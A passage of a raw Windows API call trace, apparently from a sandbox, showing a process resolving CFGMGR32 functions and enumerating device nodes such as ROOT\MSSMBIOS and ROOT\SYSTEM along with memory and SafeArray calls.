pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0216.303] malloc (_Size=0x48) returned 0x20abc27cf80 [0216.303] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3caff10f, dwHighDateTime=0x1d9eb0c)) [0216.303] SetEvent (hEvent=0x248) returned 1 [0216.310] malloc (_Size=0xd8) returned 0x20abc2867b0 [0216.310] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0216.310] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0216.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0216.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0216.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0216.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0216.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0216.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0216.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0216.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0216.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0216.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0216.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0216.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0216.313] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0216.313] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0216.313] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0216.313] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0216.313] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0216.313] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0216.314] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0216.314] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0216.314] malloc (_Size=0x18) returned 0x20abc281f20 [0216.314] CM_Get_Device_IDA (in: dnDevInst=0x3a, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\MSSMBIOS\\0000") returned 0x0 [0216.314] malloc (_Size=0x48) returned 0x20abc27cf80 [0216.314] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x3cb2548b, dwHighDateTime=0x1d9eb0c)) [0216.315] SetEvent (hEvent=0x248) returned 1 [0216.318] malloc (_Size=0xd8) returned 0x20abc2867b0 [0216.318] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0216.319] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0216.319] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0216.319] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0216.319] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0216.319] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0216.320] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0216.320] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0216.320] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0216.320] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0216.320] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0216.321] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0216.321] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0216.321] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0216.321] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0216.321] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0216.321] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0216.322] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0216.322] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0216.322] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0216.322] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0216.322] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0216.322] malloc (_Size=0x18) returned 0x20abc2819c0 [0216.323] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0216.323] malloc (_Size=0x1e) returned 0x20abc2a9f10 [0216.323] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9f10, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9f10, pulLength=0x2dc22fd3f8) returned 0x0 [0216.323] free (_Block=0x20abc2a9f10) [0216.323] malloc (_Size=0x48) returned 0x20abc27cf80 [0216.323] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3cb4bb1e, dwHighDateTime=0x1d9eb0c)) [0216.324] SetEvent (hEvent=0x248) returned 1 [0216.327] malloc (_Size=0x18) returned 0x20abc2819a0 [0216.327] SafeArrayPutElement (psa=0x20abba803d0, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0216.327] free (_Block=0x20abc2819a0) [0216.327] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d7f0 [0216.327] SafeArrayGetDim (psa=0x20abba803d0) returned 0x1 [0216.327] SafeArrayGetLBound (in: psa=0x20abba803d0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0216.327] SafeArrayGetUBound (in: psa=0x20abba803d0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0216.327] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79730 [0216.327] SafeArrayGetDim (psa=0x20abba803d0) returned 0x1 [0216.327] SafeArrayGetUBound (in: psa=0x20abba803d0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0216.327] SafeArrayGetElemsize (psa=0x20abba803d0) returned 0x8 [0216.327] SafeArrayGetElement (in: psa=0x20abba803d0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0216.328] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4021f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0216.328] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79730) returned 1 [0216.329] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d7f0) returned 1 [0216.329] malloc (_Size=0xd8) returned 0x20abc2867b0 [0216.329] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0216.330] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0216.330] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0216.330] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0216.330] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0216.330] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0216.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0216.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0216.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0216.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0216.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0216.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0216.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0216.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0216.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0216.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0216.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0216.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0216.333] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0216.333] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0216.333] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0216.333] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0216.333] malloc (_Size=0x18) returned 0x20abc281de0 [0216.333] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0216.334] malloc (_Size=0x48) returned 0x20abc27cb20 [0216.334] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3cb4bb1e, dwHighDateTime=0x1d9eb0c)) [0216.334] SetEvent (hEvent=0x248) returned 1 [0216.338] malloc (_Size=0xd8) returned 0x20abc2867b0 [0216.338] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0216.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0216.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0216.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0216.339] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0216.339] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0216.339] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0216.339] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0216.339] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0216.339] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0216.340] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0216.340] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0216.340] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0216.340] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0216.340] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0216.340] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0216.341] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0216.341] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0216.341] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0216.341] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0216.341] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0216.341] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0216.342] malloc (_Size=0x18) returned 0x20abc281ba0 [0216.342] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0216.466] malloc (_Size=0x48) returned 0x20abc27cb20 [0216.467] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3cca3aa6, dwHighDateTime=0x1d9eb0c)) [0216.467] SetEvent (hEvent=0x248) returned 1 [0216.468] SetEvent (hEvent=0x248) returned 1 [0216.469] free (_Block=0x20abc27cb20) [0216.469] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0216.470] malloc (_Size=0x48) returned 0x20abc27cb20 [0216.470] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3cca3aa6, dwHighDateTime=0x1d9eb0c)) [0216.470] SetEvent (hEvent=0x248) returned 1 [0216.471] SetEvent (hEvent=0x248) returned 1 [0216.471] free (_Block=0x20abc27cb20) [0216.472] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0216.472] malloc (_Size=0x48) returned 0x20abc27cb20 [0216.472] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3cca3aa6, dwHighDateTime=0x1d9eb0c)) [0216.472] SetEvent (hEvent=0x248) returned 1 [0216.473] SetEvent (hEvent=0x248) returned 1 [0216.474] free (_Block=0x20abc27cb20) [0216.474] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0216.474] malloc (_Size=0x48) returned 0x20abc27cf80 [0216.474] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3cca3aa6, dwHighDateTime=0x1d9eb0c)) [0216.475] SetEvent (hEvent=0x248) returned 1 [0216.478] SetEvent (hEvent=0x248) returned 1 [0216.479] free (_Block=0x20abc27cf80) [0216.479] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0216.481] malloc (_Size=0x48) returned 0x20abc27cb20 [0216.481] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3ccc8dc9, dwHighDateTime=0x1d9eb0c)) [0216.482] SetEvent (hEvent=0x248) returned 1 [0216.483] SetEvent (hEvent=0x248) returned 1 [0216.483] free (_Block=0x20abc27cb20) [0216.484] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x3a, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0216.484] malloc (_Size=0x48) returned 0x20abc27cf80 [0216.484] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x3ccc8dc9, dwHighDateTime=0x1d9eb0c)) [0216.484] SetEvent (hEvent=0x248) returned 1 [0216.486] SetEvent (hEvent=0x248) returned 1 [0216.487] free (_Block=0x20abc27cf80) [0216.488] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x3a, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0216.488] malloc (_Size=0x48) returned 0x20abc27cf80 [0216.488] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x3ccc8dc9, dwHighDateTime=0x1d9eb0c)) [0216.488] SetEvent (hEvent=0x248) returned 1 [0216.489] SetEvent (hEvent=0x248) returned 1 [0216.489] free (_Block=0x20abc27cf80) [0216.490] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0216.490] malloc (_Size=0x48) returned 0x20abc27cb20 [0216.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3ccc8dc9, dwHighDateTime=0x1d9eb0c)) [0216.490] SetEvent (hEvent=0x248) returned 1 [0216.501] SetEvent (hEvent=0x248) returned 1 [0216.502] free (_Block=0x20abc27cb20) [0216.502] CM_Get_Device_IDA (in: dnDevInst=0x3b, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\SYSTEM\\0000") returned 0x0 [0216.502] malloc (_Size=0x48) returned 0x20abc27cb20 [0216.502] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x3cd0073b, dwHighDateTime=0x1d9eb0c)) [0216.503] SetEvent (hEvent=0x248) returned 1 [0216.504] SetEvent (hEvent=0x248) returned 1 [0216.504] free (_Block=0x20abc27cb20) [0216.505] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0216.505] malloc (_Size=0x1a) returned 0x20abc2a9e80 [0216.505] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9e80, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9e80, pulLength=0x2dc22fd3f8) returned 0x0 [0216.505] free (_Block=0x20abc2a9e80) [0216.505] malloc (_Size=0x48) returned 0x20abc27cb20 [0216.505] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3cd0073b, dwHighDateTime=0x1d9eb0c)) [0216.506] SetEvent (hEvent=0x248) returned 1 [0216.506] malloc (_Size=0x18) returned 0x20abc281bc0 [0216.506] SafeArrayPutElement (psa=0x20abba80050, rgIndices=0x2dc22fd4c8, pv=0x20abba795b8) returned 0x0 [0216.506] free (_Block=0x20abc281bc0) [0216.506] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d2f0 [0216.506] SafeArrayGetDim (psa=0x20abba80050) returned 0x1 [0216.506] SafeArrayGetLBound (in: psa=0x20abba80050, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0216.506] SafeArrayGetUBound (in: psa=0x20abba80050, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0216.506] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79b50 [0216.506] SafeArrayGetDim (psa=0x20abba80050) returned 0x1 [0216.507] SafeArrayGetUBound (in: psa=0x20abba80050, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0216.507] SafeArrayGetElemsize (psa=0x20abba80050) returned 0x8 [0216.664] SafeArrayGetElement (in: psa=0x20abba80050, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0216.665] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc402330, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0216.666] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79b50) returned 1 [0216.666] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d2f0) returned 1 [0216.667] malloc (_Size=0xd8) returned 0x20abc2867b0 [0216.667] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0216.668] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0216.668] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0216.668] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0216.668] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0216.668] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0216.668] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0216.669] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0216.669] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0216.669] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0216.669] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0216.669] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0216.669] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0216.669] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0216.669] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0216.670] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0216.670] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0216.670] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0216.670] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0216.670] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0216.670] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0216.670] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0216.671] malloc (_Size=0x18) returned 0x20abc281fa0 [0216.671] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0216.671] malloc (_Size=0x48) returned 0x20abc27cf80 [0216.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: 